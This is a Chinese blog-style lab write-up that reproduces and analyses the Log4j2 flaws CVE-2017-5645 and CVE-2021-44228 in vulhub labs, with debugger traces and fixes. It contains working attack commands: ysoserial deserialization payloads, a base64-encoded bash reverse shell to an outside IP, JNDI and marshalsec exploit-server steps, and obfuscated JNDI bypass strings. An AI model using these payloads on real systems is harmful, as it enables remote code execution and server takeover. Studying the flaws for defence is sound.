在P牛的学习文档的帮助下,走了一遍基础,现在准备看看危害(当时)极高的log4j漏洞,我一进去搜索就看到有些人说是log4j,又有些人说是log4j2,迷迷糊糊的,查了一下资料知道网上广泛讨论的Log4j漏洞(如CVE-2021-44228)实际上是指Log4j2的漏洞 ,而非旧的Log4j 1.x版本。
漏洞利用
先安装P牛的漏洞包进行利用复现
1
| git clone https://github.com/vulhub/vulhub.git
|
CVE-2017-5645
1
2
| cd CVE-2017-5645
docker compose up -d
|
搭建好环境之后尝试利用,观察到开启4712端口服务,发送反序列化数据
1
2
3
| java -jar ysoserial-all.jar CommonsCollections5 "touch /tmp/baozongwi" | nc 154.36.152.109 4712
java -jar ysoserial-all.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNTQuMzYuMTUyLjEwOS80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}" | nc 154.36.152.109 4712
|


CVE-2021-44228
访问靶机8983端口

先进行DNS探测
1
| /solr/admin/cores?action=${jndi:ldap://zfvfqa2m.requestrepo.com}
|

探测成功,尝试反序列化
1
2
3
| java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "touch /tmp/baozongwi" -A "154.36.152.109"
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNTQuMzYuMTUyLjEwOS80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}" -A "154.36.152.109"
|


漏洞分析
CVE-2017-5645
Apache Log4j 2.0-alpha1 至 2.8.1
当目标开启了Log4j 的 TCP/UDP 日志接收功能,默认端口为4712时,直接对数据进行反序列化。
这个漏洞其实和cve-2019-17571很像(倒翻天罡),我使用的8u211
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
| <?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>log4j-2.x-rce</artifactId>
<version>1.0-SNAPSHOT</version>
<properties>
<log4j.version>2.8.1</log4j.version>
<commons-collections.version>3.2.2</commons-collections.version>
</properties>
<dependencies>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>${log4j.version}</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>${log4j.version}</version>
</dependency>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>${commons-collections.version}</version>
</dependency>
</dependencies>
</project>
// src/main/java/Log4jSocketServer.java
import org.apache.logging.log4j.core.net.server.ObjectInputStreamLogEventBridge;
import org.apache.logging.log4j.core.net.server.TcpSocketServer;
import java.io.IOException;
import java.io.ObjectInputStream;
public class Log4jSocketServer {
public static void main(String[] args){
TcpSocketServer<ObjectInputStream> myServer = null;
try{
myServer = new TcpSocketServer<ObjectInputStream>(4712, new ObjectInputStreamLogEventBridge());
} catch(IOException e){
e.printStackTrace();
}
myServer.run();
}
}
|
启动之后有警告,不用管,先测试看看能不能利用
1
2
3
| java -jar ysoserial-all.jar CommonsCollections5 "touch /tmp/baozongwi" | nc localhost 4712
java -jar ysoserial-all.jar CommonsCollections5 "open -a Calculator" | nc localhost 4712
|
成功,

现在来查看为什么会反序列化,看到代码主要就两个类,TcpSocketServer 和 ObjectInputStreamLogEventBridge,调试一下,跟进到TcpSocketServer#run
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
| public void run() {
EntryMessage entry = this.logger.traceEntry();
while(this.isActive()) {
if (this.serverSocket.isClosed()) {
return;
}
try {
this.logger.debug("Listening for a connection {}...", this.serverSocket);
Socket clientSocket = this.serverSocket.accept();
this.logger.debug("Acepted connection on {}...", this.serverSocket);
this.logger.debug("Socket accepted: {}", clientSocket);
clientSocket.setSoLinger(true, 0);
TcpSocketServer<T>.SocketHandler handler = new SocketHandler(clientSocket);
this.handlers.put(handler.getId(), handler);
handler.start();
} catch (IOException e) {
if (this.serverSocket.isClosed()) {
this.logger.traceExit(entry);
return;
}
this.logger.error("Exception encountered on accept. Ignoring. Stack trace :", e);
}
}
|
初始化SocketHandler
类之后,handler.start();
会触发SocketHandler.run
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
| public void run() {
EntryMessage entry = TcpSocketServer.this.logger.traceEntry();
boolean closed = false;
try {
try {
while(!this.shutdown) {
TcpSocketServer.this.logEventInput.logEvents(this.inputStream, TcpSocketServer.this);
}
} catch (EOFException var9) {
closed = true;
} catch (OptionalDataException e) {
TcpSocketServer.this.logger.error("OptionalDataException eof=" + e.eof + " length=" + e.length, e);
} catch (IOException e) {
TcpSocketServer.this.logger.error("IOException encountered while reading from socket", e);
}
if (!closed) {
Closer.closeSilently(this.inputStream);
}
} finally {
TcpSocketServer.this.handlers.remove(this.getId());
}
TcpSocketServer.this.logger.traceExit(entry);
}
|
也就到了TcpSocketServer.this.logEventInput.logEvents
1
2
3
4
5
6
7
| public void logEvents(ObjectInputStream inputStream, LogEventListener logEventListener) throws IOException {
try {
logEventListener.log((LogEvent)inputStream.readObject());
} catch (ClassNotFoundException e) {
throw new IOException(e);
}
}
|
这里有readObject()
方法进行反序列化,也就是整条gadget了
CC5利用链调用栈如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
| at org.apache.commons.collections.map.LazyMap.get(LazyMap.java:157)
at org.apache.commons.collections.keyvalue.TiedMapEntry.getValue(TiedMapEntry.java:74)
at org.apache.commons.collections.keyvalue.TiedMapEntry.toString(TiedMapEntry.java:132)
at javax.management.BadAttributeValueExpException.readObject(BadAttributeValueExpException.java:86)
at sun.reflect.NativeMethodAccessorImpl.invoke0(NativeMethodAccessorImpl.java:-1)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:498)
at java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1170)
at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:2178)
at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2069)
at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1573)
at java.io.ObjectInputStream.readObject(ObjectInputStream.java:431)
at org.apache.logging.log4j.core.net.server.ObjectInputStreamLogEventBridge.logEvents(ObjectInputStreamLogEventBridge.java:35)
at org.apache.logging.log4j.core.net.server.ObjectInputStreamLogEventBridge.logEvents(ObjectInputStreamLogEventBridge.java:29)
at org.apache.logging.log4j.core.net.server.TcpSocketServer$SocketHandler.run(TcpSocketServer.java:85)
|
CVE-2021-44228
Apache Log4j 2 的 2.0 到 2.14.1
Log4j2框架的 Lookup 查询服务提供了动态解析**${}**
表达式的能力,但未对解析内容进行严格限制,导致攻击者可通过构造恶意JNDI注入 payload(如**${jndi:ldap://恶意IP/Exploit.class}**
)实现远程代码执行。当系统记录含该payload的日志时,Log4j2 会主动请求攻击者控制的 LDAP 服务,下载并执行恶意.class
文件,最终造成服务器被完全控制(如反弹shell)。该漏洞(CVE-2021-44228)本质是Lookup 功能与 JNDI 服务的危险组合,使得日志记录这一基础功能成为攻击入口。
如果在相应协议里面都没有找到资源,就会到http服务去寻找。其次是需要注意jdk版本,我使用的是 8u20,JDK还没开启JNDI的防护。pom.xml 不需要修改,满足版本。
环境搭建,漏洞代码如下
1
2
3
4
5
6
7
8
9
| import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class Log4jTEst {
public static void main(String[] args) {
Logger logger = LogManager.getLogger(Log4jTEst.class);
logger.error("${jndi:ldap://4b0d5qbh.requestrepo.com}");
}
}
|
然后开始调试,没错,慢慢跟进
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
| at org.apache.logging.log4j.core.pattern.MessagePatternConverter.format(MessagePatternConverter.java:111)
at org.apache.logging.log4j.core.pattern.PatternFormatter.format(PatternFormatter.java:38)
at org.apache.logging.log4j.core.layout.PatternLayout$PatternSerializer.toSerializable(PatternLayout.java:333)
at org.apache.logging.log4j.core.layout.PatternLayout.toText(PatternLayout.java:232)
at org.apache.logging.log4j.core.layout.PatternLayout.encode(PatternLayout.java:217)
at org.apache.logging.log4j.core.layout.PatternLayout.encode(PatternLayout.java:57)
at org.apache.logging.log4j.core.appender.AbstractOutputStreamAppender.directEncodeEvent(AbstractOutputStreamAppender.java:177)
at org.apache.logging.log4j.core.appender.AbstractOutputStreamAppender.tryAppend(AbstractOutputStreamAppender.java:170)
at org.apache.logging.log4j.core.appender.AbstractOutputStreamAppender.append(AbstractOutputStreamAppender.java:161)
at org.apache.logging.log4j.core.config.AppenderControl.tryCallAppender(AppenderControl.java:156)
at org.apache.logging.log4j.core.config.AppenderControl.callAppender0(AppenderControl.java:129)
at org.apache.logging.log4j.core.config.AppenderControl.callAppenderPreventRecursion(AppenderControl.java:120)
at org.apache.logging.log4j.core.config.AppenderControl.callAppender(AppenderControl.java:84)
at org.apache.logging.log4j.core.config.LoggerConfig.callAppenders(LoggerConfig.java:448)
at org.apache.logging.log4j.core.config.LoggerConfig.processLogEvent(LoggerConfig.java:433)
at org.apache.logging.log4j.core.config.LoggerConfig.log(LoggerConfig.java:417)
at org.apache.logging.log4j.core.config.LoggerConfig.log(LoggerConfig.java:403)
at org.apache.logging.log4j.core.config.AwaitCompletionReliabilityStrategy.log(AwaitCompletionReliabilityStrategy.java:63)
at org.apache.logging.log4j.core.Logger.logMessage(Logger.java:146)
at org.apache.logging.log4j.spi.AbstractLogger.logMessageSafely(AbstractLogger.java:2091)
at org.apache.logging.log4j.spi.AbstractLogger.logMessage(AbstractLogger.java:1988)
at org.apache.logging.log4j.spi.AbstractLogger.logIfEnabled(AbstractLogger.java:1960)
at org.apache.logging.log4j.spi.AbstractLogger.error(AbstractLogger.java:723)
at Log4jTEst.main(Log4jTEst.java:7)
|
我没想到居然这么深,现在到了 format
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
| public void format(LogEvent event, StringBuilder toAppendTo) {
Message msg = event.getMessage();
if (msg instanceof StringBuilderFormattable) {
boolean doRender = this.textRenderer != null;
StringBuilder workingBuilder = doRender ? new StringBuilder(80) : toAppendTo;
StringBuilderFormattable stringBuilderFormattable = (StringBuilderFormattable)msg;
int offset = workingBuilder.length();
stringBuilderFormattable.formatTo(workingBuilder);
if (this.config != null && !this.noLookups) {
for(int i = offset; i < workingBuilder.length() - 1; ++i) {
if (workingBuilder.charAt(i) == '$' && workingBuilder.charAt(i + 1) == '{') {
String value = workingBuilder.substring(offset, workingBuilder.length());
workingBuilder.setLength(offset);
workingBuilder.append(this.config.getStrSubstitutor().replace(event, value));
}
}
}
if (doRender) {
this.textRenderer.render(workingBuilder, toAppendTo);
}
} else {
if (msg != null) {
String result;
if (msg instanceof MultiformatMessage) {
result = ((MultiformatMessage)msg).getFormattedMessage(this.formats);
} else {
result = msg.getFormattedMessage();
}
if (result != null) {
toAppendTo.append(this.config != null && result.contains("${") ? this.config.getStrSubstitutor().replace(event, result) : result);
} else {
toAppendTo.append("null");
}
}
}
}
|
负责处理日志消息的格式化和 JNDI 查找,我们主要看JNDI查找部分,会进行$
以及{
的匹配,为什么是这两个符号呢,因为这么写可以解决嵌套${}
或循环引用的问题。接着跟进到 substitute
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
| private int substitute(LogEvent event, StringBuilder buf, int offset, int length, List<String> priorVariables) {
StrMatcher prefixMatcher = this.getVariablePrefixMatcher();
StrMatcher suffixMatcher = this.getVariableSuffixMatcher();
char escape = this.getEscapeChar();
StrMatcher valueDelimiterMatcher = this.getValueDelimiterMatcher();
boolean substitutionInVariablesEnabled = this.isEnableSubstitutionInVariables();
boolean top = priorVariables == null;
boolean altered = false;
int lengthChange = 0;
char[] chars = this.getChars(buf);
int bufEnd = offset + length;
int pos = offset;
while(pos < bufEnd) {
int startMatchLen = prefixMatcher.isMatch(chars, pos, offset, bufEnd);
if (startMatchLen == 0) {
++pos;
} else if (pos > offset && chars[pos - 1] == escape) {
buf.deleteCharAt(pos - 1);
chars = this.getChars(buf);
--lengthChange;
altered = true;
--bufEnd;
} else {
int startPos = pos;
pos += startMatchLen;
int endMatchLen = 0;
int nestedVarCount = 0;
while(pos < bufEnd) {
if (substitutionInVariablesEnabled && (endMatchLen = prefixMatcher.isMatch(chars, pos, offset, bufEnd)) != 0) {
++nestedVarCount;
pos += endMatchLen;
} else {
endMatchLen = suffixMatcher.isMatch(chars, pos, offset, bufEnd);
if (endMatchLen == 0) {
++pos;
} else {
if (nestedVarCount == 0) {
String varNameExpr = new String(chars, startPos + startMatchLen, pos - startPos - startMatchLen);
if (substitutionInVariablesEnabled) {
StringBuilder bufName = new StringBuilder(varNameExpr);
this.substitute(event, bufName, 0, bufName.length());
varNameExpr = bufName.toString();
}
pos += endMatchLen;
String varName = varNameExpr;
String varDefaultValue = null;
if (valueDelimiterMatcher != null) {
char[] varNameExprChars = varNameExpr.toCharArray();
int valueDelimiterMatchLen = 0;
for(int i = 0; i < varNameExprChars.length && (substitutionInVariablesEnabled || prefixMatcher.isMatch(varNameExprChars, i, i, varNameExprChars.length) == 0); ++i) {
if ((valueDelimiterMatchLen = valueDelimiterMatcher.isMatch(varNameExprChars, i)) != 0) {
varName = varNameExpr.substring(0, i);
varDefaultValue = varNameExpr.substring(i + valueDelimiterMatchLen);
break;
}
}
}
if (priorVariables == null) {
priorVariables = new ArrayList();
priorVariables.add(new String(chars, offset, length + lengthChange));
}
this.checkCyclicSubstitution(varName, priorVariables);
priorVariables.add(varName);
String varValue = this.resolveVariable(event, varName, buf, startPos, pos);
if (varValue == null) {
varValue = varDefaultValue;
}
if (varValue != null) {
int varLen = varValue.length();
buf.replace(startPos, pos, varValue);
altered = true;
int change = this.substitute(event, buf, startPos, varLen, priorVariables);
change += varLen - (pos - startPos);
pos += change;
bufEnd += change;
lengthChange += change;
chars = this.getChars(buf);
}
priorVariables.remove(priorVariables.size() - 1);
break;
}
--nestedVarCount;
pos += endMatchLen;
}
}
}
}
}
if (top) {
return altered ? 1 : 0;
} else {
return lengthChange;
}
}
|
看着很复杂,总结一下,这个方法实际上就是${jndi:xxx}
这类表达式 ,同时通过递归和状态管理解决嵌套变量的问题,可以一步步看表达式的处理,处理好之后看到 resolveVariable 之后被执行(DNS网站多了一个回显),跟进 resolveVariable

跟进之后再跟到 lookup
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
| public String lookup(LogEvent event, String var) {
if (var == null) {
return null;
} else {
int prefixPos = var.indexOf(58);
if (prefixPos >= 0) {
String prefix = var.substring(0, prefixPos).toLowerCase(Locale.US);
String name = var.substring(prefixPos + 1);
StrLookup lookup = (StrLookup)this.lookups.get(prefix);
if (lookup instanceof ConfigurationAware) {
((ConfigurationAware)lookup).setConfiguration(this.configuration);
}
String value = null;
if (lookup != null) {
value = event == null ? lookup.lookup(name) : lookup.lookup(event, name);
}
if (value != null) {
return value;
}
var = var.substring(prefixPos + 1);
}
if (this.defaultLookup != null) {
return event == null ? this.defaultLookup.lookup(var) : this.defaultLookup.lookup(event, var);
} else {
return null;
}
}
}
|
这个方法会对${jndi:ldap://attacker.com}
表达式进行处理,提取 jndi 调用JndiLookup.lookup("ldap://attacker.com")
,再继续跟进
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
| public String lookup(LogEvent event, String key) {
if (key == null) {
return null;
} else {
String jndiName = this.convertJndiName(key);
try (JndiManager jndiManager = JndiManager.getDefaultManager()) {
Object value = jndiManager.lookup(jndiName);
String var7 = value == null ? null : String.valueOf(value);
return var7;
} catch (NamingException e) {
LOGGER.warn(LOOKUP, "Error looking up JNDI resource [{}].", jndiName, e);
return null;
}
}
}
|
调用jndiManager.lookup("ldap://attacker.com"
1
2
3
| public <T> T lookup(String name) throws NamingException {
return (T)this.context.lookup(name);
}
|
发起远程请求,解析恶意类。完整调用栈
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
| at org.apache.logging.log4j.core.net.JndiManager.lookup(JndiManager.java:129)
at org.apache.logging.log4j.core.lookup.JndiLookup.lookup(JndiLookup.java:54)
at org.apache.logging.log4j.core.lookup.Interpolator.lookup(Interpolator.java:183)
at org.apache.logging.log4j.core.lookup.StrSubstitutor.resolveVariable(StrSubstitutor.java:1054)
at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:976)
at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:872)
at org.apache.logging.log4j.core.lookup.StrSubstitutor.replace(StrSubstitutor.java:427)
at org.apache.logging.log4j.core.pattern.MessagePatternConverter.format(MessagePatternConverter.java:127)
at org.apache.logging.log4j.core.pattern.PatternFormatter.format(PatternFormatter.java:38)
at org.apache.logging.log4j.core.layout.PatternLayout$PatternSerializer.toSerializable(PatternLayout.java:333)
at org.apache.logging.log4j.core.layout.PatternLayout.toText(PatternLayout.java:232)
at org.apache.logging.log4j.core.layout.PatternLayout.encode(PatternLayout.java:217)
at org.apache.logging.log4j.core.layout.PatternLayout.encode(PatternLayout.java:57)
at org.apache.logging.log4j.core.appender.AbstractOutputStreamAppender.directEncodeEvent(AbstractOutputStreamAppender.java:177)
at org.apache.logging.log4j.core.appender.AbstractOutputStreamAppender.tryAppend(AbstractOutputStreamAppender.java:170)
at org.apache.logging.log4j.core.appender.AbstractOutputStreamAppender.append(AbstractOutputStreamAppender.java:161)
at org.apache.logging.log4j.core.config.AppenderControl.tryCallAppender(AppenderControl.java:156)
at org.apache.logging.log4j.core.config.AppenderControl.callAppender0(AppenderControl.java:129)
at org.apache.logging.log4j.core.config.AppenderControl.callAppenderPreventRecursion(AppenderControl.java:120)
at org.apache.logging.log4j.core.config.AppenderControl.callAppender(AppenderControl.java:84)
at org.apache.logging.log4j.core.config.LoggerConfig.callAppenders(LoggerConfig.java:448)
at org.apache.logging.log4j.core.config.LoggerConfig.processLogEvent(LoggerConfig.java:433)
at org.apache.logging.log4j.core.config.LoggerConfig.log(LoggerConfig.java:417)
at org.apache.logging.log4j.core.config.LoggerConfig.log(LoggerConfig.java:403)
at org.apache.logging.log4j.core.config.AwaitCompletionReliabilityStrategy.log(AwaitCompletionReliabilityStrategy.java:63)
at org.apache.logging.log4j.core.Logger.logMessage(Logger.java:146)
at org.apache.logging.log4j.spi.AbstractLogger.logMessageSafely(AbstractLogger.java:2091)
at org.apache.logging.log4j.spi.AbstractLogger.logMessage(AbstractLogger.java:1988)
at org.apache.logging.log4j.spi.AbstractLogger.logIfEnabled(AbstractLogger.java:1960)
at org.apache.logging.log4j.spi.AbstractLogger.error(AbstractLogger.java:723)
at Log4jTEst.main(Log4jTEst.java:7)
|
其实整体看的话就很巧合,刚好解析 jndi 关键字,而且还是无 waf 的,果然是核弹级漏洞!🥵
RCE的话有两种方法,一种是直接利用 JNDI-Injection-Exploit 开启恶意服务
1
| java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "open -a Calculator" -A "127.0.0.1"
|
还有就是自己编译开启服务
1
2
3
4
5
6
| # https://github.com/RandomRobbieBF/marshalsec-jar
javac Evil.java
python3 -m http.server 8000
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8000/#Eval"
|

对于这个版本发布了两个🍮,一个是 rc1 一个是 rc2,rc2是安全的,rc1存在绕过,简单说说,详细看引用的最后两篇文章,默认的配置的话,加载的类实例为SimpleMessagePatternConverter
这个类只是简单的拼接Message信息,并不会去尝试解析${
,所以根本不会有lookup
操作。但是如果配置文件中指配置文件白名单设置允许 jndi 到指定地址的情况,就可以绕过

借用大佬的一步分析图

写几个可用poc
1
2
3
| ${${,:-j}ndi:ldap://127.0.0.1:1389/#Eval}
${jndi:ldap://127.0.0.1:1389/#Eval }
${${::-j}ndi:ldap://127.0.0.1:1389/#Eval}
|
修复
CVE-2017-5645 直接防止外部访问4712端口即可
CVE-2021-44228 修复
- 设置log4j2.formatMsgNoLookups=True。相当于直接禁止lookup查询出栈,也就不可能请求到访问到远程的恶意站点。
- 对包含有"jndi:ldap://"、“jndi:rmi//"、“dns://“这样字符串的请求进行拦截,即拦截JNDI语句来防止JNDI注入。
同时由于我重装服务器这里也放一下如何安装JDK8u202的命令,debian12服务器安装jdk
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
| wget https://repo.huaweicloud.com:8443/artifactory/java-local/jdk/8u202-b08/jdk-8u202-linux-x64.tar.gz
cp jdk-8u202-linux-x64.tar.gz /usr/local
cd /usr/local && tar zxvf jdk-8u202-linux-x64.tar.gz
vim /etc/profile
export JAVA_HOME=/usr/local/jdk1.8.0_202
export JRE_HOME=/usr/local/jdk1.8.0_202/jre
export CLASS_PATH=.:$JAVA_HOME/lib/dt.jar:$JAVA_HOME/lib/tools.jar:$JRE_HOME/lib
export PATH=$PATH:$JAVA_HOME/bin:$JRE_HOME/bin
source /etc/profile
# 注册Java8
sudo update-alternatives --install /usr/bin/java java /usr/local/jdk1.8.0_202/bin/java 1
sudo update-alternatives --install /usr/bin/javac javac /usr/local/jdk1.8.0_202/bin/javac 1
sudo update-alternatives --install /usr/bin/jar jar /usr/local/jdk1.8.0_202/bin/jar 1
# 选java版本
update-alternatives --config java
|
https://xz.aliyun.com/news/6606
https://jarenl.com/index.php/2025/03/10/cve_2021_44228/
https://jaspersec.top/posts/1237655284.html
https://www.cnblogs.com/dhan/p/18419927
https://xz.aliyun.com/news/11723
https://www.cnblogs.com/LittleHann/p/17768907.html
https://mp.weixin.qq.com/s/_qA3ZjbQrZl2vowikdPOIg
https://mp.weixin.qq.com/s/XheO7skhvmO-_ygJAx6-cQ